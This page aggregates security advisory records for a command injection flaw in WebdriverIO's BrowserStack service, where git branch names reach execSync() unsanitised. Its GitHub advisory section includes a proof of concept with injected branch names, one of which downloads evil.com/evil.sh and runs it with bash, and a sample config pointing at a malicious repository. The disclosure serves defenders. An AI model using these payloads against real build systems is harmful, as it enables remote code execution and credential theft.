WebdriverIO has Command Injection in the BrowserStack Service

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WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

Source published

18 May 2026 20:31:14 UTC

Source modified

23 Jul 2026 12:07:59 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

Source published

May 18, 2026, 8:31:14 PM (timezone not stated)

Source modified

Jul 23, 2026, 12:07:59 PM (timezone not stated)

Saved here

15 Nov 2026 07:40:31 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

Source published

18 May 2026 21:16:39 UTC

Source modified

24 Jul 2026 13:10:00 UTC

Saved here

25 Oct 2026 06:17:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

### Summary A command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### Vulnerable Code **File**: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204 ### Root Cause User-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches. ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED" ``` ### Attack Vector 1. Attacker creates a malicious git repository with a branch name containing command injection payload 2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`. 3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name 4. Branch name is interpolated into shell commands without sanitization 5. Shell interprets special characters and executes attacker's commands ### PoC ### Step 1: Create Malicious Repository Branch ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" ``` ### Step 2: Configure WebdriverIO ```javascript // wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACK_USERNAME, key: process.env.BROWSERSTACK_ACCESS_KEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config } ``` ### Step 3: Run Tests ```bash npm run wdio ``` ### Step 4: Verify RCE ```bash # Check if file was created (proof of RCE) ls -la /tmp/pwned.txt ``` ### Impact - **Remote Code Execution** on CI/CD servers or developer machines - **Information Disclosure** (environment variables, secrets, credentials) - **Data Exfiltration** (source code, SSH keys, configuration files) - **System Compromise** (backdoor installation, lateral movement) - **Supply Chain Attack** (modify build artifacts)

Source published

11 May 2026 17:53:46 UTC

Source modified

10 Sep 2026 03:51:04 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL